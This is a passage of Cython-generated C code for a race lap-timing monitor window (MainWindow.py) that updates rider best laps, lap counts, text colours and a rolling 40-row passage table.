(unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_textcolor, __pyx_t_2) < 0)) __PYX_ERR(0, 280, __pyx_L7_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":281 * if lap > tt['bestlap']: * tt['textcolor'] = Globals.text_inverted + Globals.text_red * color = colors["Red"] # <<<<<<<<<<<<<< * tt['lapcount'] +=1 * else: */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 281, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = PyObject_GetItem(__pyx_t_2, __pyx_n_u_Red); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 281, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF_SET(__pyx_v_color, __pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":279 * tt['textcolor'] = Globals.text_inverted + Globals.text_green * color = colors["Green"] * if lap > tt['bestlap']: # <<<<<<<<<<<<<< * tt['textcolor'] = Globals.text_inverted + Globals.text_red * color = colors["Red"] */ } /* "MainWindow.py":282 * tt['textcolor'] = Globals.text_inverted + Globals.text_red * color = colors["Red"] * tt['lapcount'] +=1 # <<<<<<<<<<<<<< * else: * Globals.dictBestLapMonitor[tp] = dict() */ __Pyx_INCREF(__pyx_n_u_lapcount); __pyx_t_13 = __pyx_n_u_lapcount; __pyx_t_5 = PyObject_GetItem(__pyx_v_tt, __pyx_t_13); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 282, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyInt_AddObjC(__pyx_t_5, __pyx_int_1, 1, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 282, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_t_13, __pyx_t_2) < 0)) __PYX_ERR(0, 282, __pyx_L7_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; /* "MainWindow.py":271 * tt['ridername'] = Globals.C_concurrents_moni_fmt%(c['nom'], c['prenom']) # I_ridername * tt['ridernum'] = c['numero'] # I_ridernum * if type == 0: # <<<<<<<<<<<<<< * lap = millis - tt['lasttick'] * tt['lasttick' ] = millis */ } /* "MainWindow.py":264 * color = colors["White"] * try: * if tp in Globals.dictBestLapMonitor: # <<<<<<<<<<<<<< * tt = Globals.dictBestLapMonitor[tp] * if tt['ridernum']== 0: */ goto __pyx_L15; } /* "MainWindow.py":284 * tt['lapcount'] +=1 * else: * Globals.dictBestLapMonitor[tp] = dict() # <<<<<<<<<<<<<< * tt = Globals.dictBestLapMonitor[tp] * tt['bestlap'] = Globals.max_time # I_bestlap */ /*else*/ { __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 284, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 284, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_dictBestLapMonitor); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 284, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (unlikely(PyObject_SetItem(__pyx_t_12, __pyx_v_tp, __pyx_t_2) < 0)) __PYX_ERR(0, 284, __pyx_L7_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":285 * else: * Globals.dictBestLapMonitor[tp] = dict() * tt = Globals.dictBestLapMonitor[tp] # <<<<<<<<<<<<<< * tt['bestlap'] = Globals.max_time # I_bestlap * tt['lastlap'] = 0 # I_lastlap */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 285, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_dictBestLapMonitor); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 285, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_t_12, __pyx_v_tp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 285, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_XDECREF_SET(__pyx_v_tt, __pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":286 * Globals.dictBestLapMonitor[tp] = dict() * tt = Globals.dictBestLapMonitor[tp] * tt['bestlap'] = Globals.max_time # I_bestlap # <<<<<<<<<<<<<< * tt['lastlap'] = 0 # I_lastlap * if "TP_%8.8X"%tp in tpRacerList : */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 286, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_max_time); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 286, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_bestlap, __pyx_t_12) < 0)) __PYX_ERR(0, 286, __pyx_L7_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; /* "MainWindow.py":287 * tt = Globals.dictBestLapMonitor[tp] * tt['bestlap'] = Globals.max_time # I_bestlap * tt['lastlap'] = 0 # I_lastlap # <<<<<<<<<<<<<< * if "TP_%8.8X"%tp in tpRacerList : * c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_lastlap, __pyx_int_0) < 0)) __PYX_ERR(0, 287, __pyx_L7_error) /* "MainWindow.py":288 * tt['bestlap'] = Globals.max_time # I_bestlap * tt['lastlap'] = 0 # I_lastlap * if "TP_%8.8X"%tp in tpRacerList : # <<<<<<<<<<<<<< * c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] * tt['ridername'] = c['nom'] # I_ridername */ __pyx_t_12 = PyUnicode_Format(__pyx_kp_u_TP__8_8X, __pyx_v_tp); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 288, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_tpRacerList); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 288, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_8 = (__Pyx_PySequence_ContainsTF(__pyx_t_12, __pyx_t_2, Py_EQ)); if (unlikely(__pyx_t_8 < 0)) __PYX_ERR(0, 288, __pyx_L7_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_7 = (__pyx_t_8 != 0); if (__pyx_t_7) { /* "MainWindow.py":289 * tt['lastlap'] = 0 # I_lastlap * if "TP_%8.8X"%tp in tpRacerList : * c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] # <<<<<<<<<<<<<< * tt['ridername'] = c['nom'] # I_ridername * tt['ridernum'] = c['numero'] # I_ridernum */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 289, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_racerList); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 289, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_tpRacerList); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 289, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 289, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_C_concurrents_TP_fmt); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 289, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyNumber_Remainder(__pyx_t_6, __pyx_v_tp); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 289, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyObject_GetItem(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 289, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyObject_GetItem(__pyx_t_12, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 289, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF_SET(__pyx_v_c, __pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":290 * if "TP_%8.8X"%tp in tpRacerList : * c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] * tt['ridername'] = c['nom'] # I_ridername # <<<<<<<<<<<<<< * tt['ridernum'] = c['numero'] # I_ridernum * else: */ __pyx_t_5 = PyObject_GetItem(__pyx_v_c, __pyx_n_u_nom); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 290, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_ridername, __pyx_t_5) < 0)) __PYX_ERR(0, 290, __pyx_L7_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":291 * c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] * tt['ridername'] = c['nom'] # I_ridername * tt['ridernum'] = c['numero'] # I_ridernum # <<<<<<<<<<<<<< * else: * tt['ridername'] ="" */ __pyx_t_5 = PyObject_GetItem(__pyx_v_c, __pyx_n_u_numero); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 291, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_ridernum, __pyx_t_5) < 0)) __PYX_ERR(0, 291, __pyx_L7_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":288 * tt['bestlap'] = Globals.max_time # I_bestlap * tt['lastlap'] = 0 # I_lastlap * if "TP_%8.8X"%tp in tpRacerList : # <<<<<<<<<<<<<< * c = Globals.racerList[ tpRacerList[ Globals.C_concurrents_TP_fmt%tp ] ] * tt['ridername'] = c['nom'] # I_ridername */ goto __pyx_L21; } /* "MainWindow.py":293 * tt['ridernum'] = c['numero'] # I_ridernum * else: * tt['ridername'] ="" # <<<<<<<<<<<<<< * tt['ridernum'] = 0 * tt['lasttick'] = millis # I_lasttick */ /*else*/ { if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_ridername, __pyx_kp_u__6) < 0)) __PYX_ERR(0, 293, __pyx_L7_error) /* "MainWindow.py":294 * else: * tt['ridername'] ="" * tt['ridernum'] = 0 # <<<<<<<<<<<<<< * tt['lasttick'] = millis # I_lasttick * tt['lapcount'] = 0 # I_lapcount */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_ridernum, __pyx_int_0) < 0)) __PYX_ERR(0, 294, __pyx_L7_error) } __pyx_L21:; /* "MainWindow.py":295 * tt['ridername'] ="" * tt['ridernum'] = 0 * tt['lasttick'] = millis # I_lasttick # <<<<<<<<<<<<<< * tt['lapcount'] = 0 # I_lapcount * tt['totticks'] = 0.999999999 # I_totticks */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_lasttick, __pyx_v_millis) < 0)) __PYX_ERR(0, 295, __pyx_L7_error) /* "MainWindow.py":296 * tt['ridernum'] = 0 * tt['lasttick'] = millis # I_lasttick * tt['lapcount'] = 0 # I_lapcount # <<<<<<<<<<<<<< * tt['totticks'] = 0.999999999 # I_totticks * tt['textcolor'] = Globals.text_inverted + Globals.text_blue # I_textcolor */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_lapcount, __pyx_int_0) < 0)) __PYX_ERR(0, 296, __pyx_L7_error) /* "MainWindow.py":297 * tt['lasttick'] = millis # I_lasttick * tt['lapcount'] = 0 # I_lapcount * tt['totticks'] = 0.999999999 # I_totticks # <<<<<<<<<<<<<< * tt['textcolor'] = Globals.text_inverted + Globals.text_blue # I_textcolor * color = colors["Blue"] */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_totticks, __pyx_float_0_999999999) < 0)) __PYX_ERR(0, 297, __pyx_L7_error) /* "MainWindow.py":298 * tt['lapcount'] = 0 # I_lapcount * tt['totticks'] = 0.999999999 # I_totticks * tt['textcolor'] = Globals.text_inverted + Globals.text_blue # I_textcolor # <<<<<<<<<<<<<< * color = colors["Blue"] * r = self.TM_T_passage.rowCount() */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 298, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_text_inverted); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 298, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 298, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_text_blue); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 298, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyNumber_Add(__pyx_t_6, __pyx_t_12); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 298, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_textcolor, __pyx_t_5) < 0)) __PYX_ERR(0, 298, __pyx_L7_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":299 * tt['totticks'] = 0.999999999 # I_totticks * tt['textcolor'] = Globals.text_inverted + Globals.text_blue # I_textcolor * color = colors["Blue"] # <<<<<<<<<<<<<< * r = self.TM_T_passage.rowCount() * if r > 40: */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 299, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_12 = PyObject_GetItem(__pyx_t_5, __pyx_n_u_Blue); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 299, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF_SET(__pyx_v_color, __pyx_t_12); __pyx_t_12 = 0; } __pyx_L15:; /* "MainWindow.py":300 * tt['textcolor'] = Globals.text_inverted + Globals.text_blue # I_textcolor * color = colors["Blue"] * r = self.TM_T_passage.rowCount() # <<<<<<<<<<<<<< * if r > 40: * self.TM_T_passage.removeRow(0) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 300, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_rowCount); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 300, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_12 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 300, __pyx_L7_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_12 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 300, __pyx_L7_error) } __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF_SET(__pyx_v_r, __pyx_t_12); __pyx_t_12 = 0; /* "MainWindow.py":301 * color = colors["Blue"] * r = self.TM_T_passage.rowCount() * if r > 40: # <<<<<<<<<<<<<< * self.TM_T_passage.removeRow(0) * r = 40 */ __pyx_t_12 = PyObject_RichCompare(__pyx_v_r, __pyx_int_40, Py_GT); __Pyx_XGOTREF(__pyx_t_12); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 301, __pyx_L7_error) __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_12); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 301, __pyx_L7_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; if (__pyx_t_7) { /* "MainWindow.py":302 * r = self.TM_T_passage.rowCount() * if r > 40: * self.TM_T_passage.removeRow(0) # <<<<<<<<<<<<<< * r = 40 * self.TM_T_passage.insertRow( r ) */ __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 302, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_removeRow); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 302, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__16, NULL); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 302, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; /* "MainWindow.py":303 * if r > 40: * self.TM_T_passage.removeRow(0) * r = 40 # <<<<<<<<<<<<<< * self.TM_T_passage.insertRow( r ) * self.TM_T_passage.setRowHeight( r, 12) */ __Pyx_INCREF(__pyx_int_40); __Pyx_DECREF_SET(__pyx_v_r, __pyx_int_40); /* "MainWindow.py":301 * color = colors["Blue"] * r = self.TM_T_passage.rowCount() * if r > 40: # <<<<<<<<<<<<<< * self.TM_T_passage.removeRow(0) * r = 40 */ } /* "MainWindow.py":304 * self.TM_T_passage.removeRow(0) * r = 40 * self.TM_T_passage.insertRow( r ) # <<<<<<<<<<<<<< * self.TM_T_passage.setRowHeight( r, 12) * if type == 0: */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 304, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_insertRow); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 304, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_6) { __pyx_t_12 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_r); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 304, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_r}; __pyx_t_12 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 304, __pyx_L7_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_12); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_r}; __pyx_t_12 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 304, __pyx_L7_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_12); } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 304, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_r); __Pyx_GIVEREF(__pyx_v_r); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_v_r); __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_2, NULL); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 304, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; /* "MainWindow.py":305 * r = 40 * self.TM_T_passage.insertRow( r ) * self.TM_T_passage.setRowHeight( r, 12) # <<<<<<<<<<<<<< * if type == 0: * setLine( self, color, r, 0, pos ) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 305, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setRowHeight); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 305, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; __pyx_t_14 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_14 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_v_r, __pyx_int_12}; __pyx_t_12 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_14, 2+__pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 305, __pyx_L7_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_12); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_v_r, __pyx_int_12}; __pyx_t_12 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_14, 2+__pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 305, __pyx_L7_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_12); } else #endif { __pyx_t_6 = PyTuple_New(2+__pyx_t_14); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 305, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_5) { __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_5); __pyx_t_5 = NULL; } __Pyx_INCREF(__pyx_v_r); __Pyx_GIVEREF(__pyx_v_r); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_14, __pyx_v_r); __Pyx_INCREF(__pyx_int_12); __Pyx_GIVEREF(__pyx_int_12); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_14, __pyx_int_12); __pyx_t_12 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_6, NULL); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 305, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; /* "MainWindow.py":306 * self.TM_T_passage.insertRow( r ) * self.TM_T_passage.setRowHeight( r, 12) * if type == 0: # <<<<<<<<<<<<<< * setLine( self, color, r, 0, pos ) * setLine( self, color, r, 3, Globals.createTime(tt['lastlap'] ) ) */ __pyx_t_12 = __Pyx_PyInt_EqObjC(__pyx_v_type, __pyx_int_0, 0, 0); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 306, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_12); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 306, __pyx_L7_error) __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; if (__pyx_t_7) { /* "MainWindow.py":307 * self.TM_T_passage.setRowHeight( r, 12) * if type == 0: * setLine( self, color, r, 0, pos ) # <<<<<<<<<<<<<< * setLine( self, color, r, 3, Globals.createTime(tt['lastlap'] ) ) * else: */ __pyx_t_12 = __pyx_pf_10MainWindow_10MainWindow_13updateMonitor_setLine(__pyx_v_setLine, __pyx_v_self, __pyx_v_color, __pyx_v_r, __pyx_int_0, __pyx_v_pos); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 307, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; /* "MainWindow.py":308 * if type == 0: * setLine( self, color, r, 0, pos ) * setLine( self, color, r, 3, Globals.createTime(tt['lastlap'] ) ) # <<<<<<<<<<<<<< * else: * setLine( self, color, r, 0, "P(%d):%s"%(type, pos )) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 308, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_createTime); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 308, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lastlap); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 308, __pyx_L7_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); 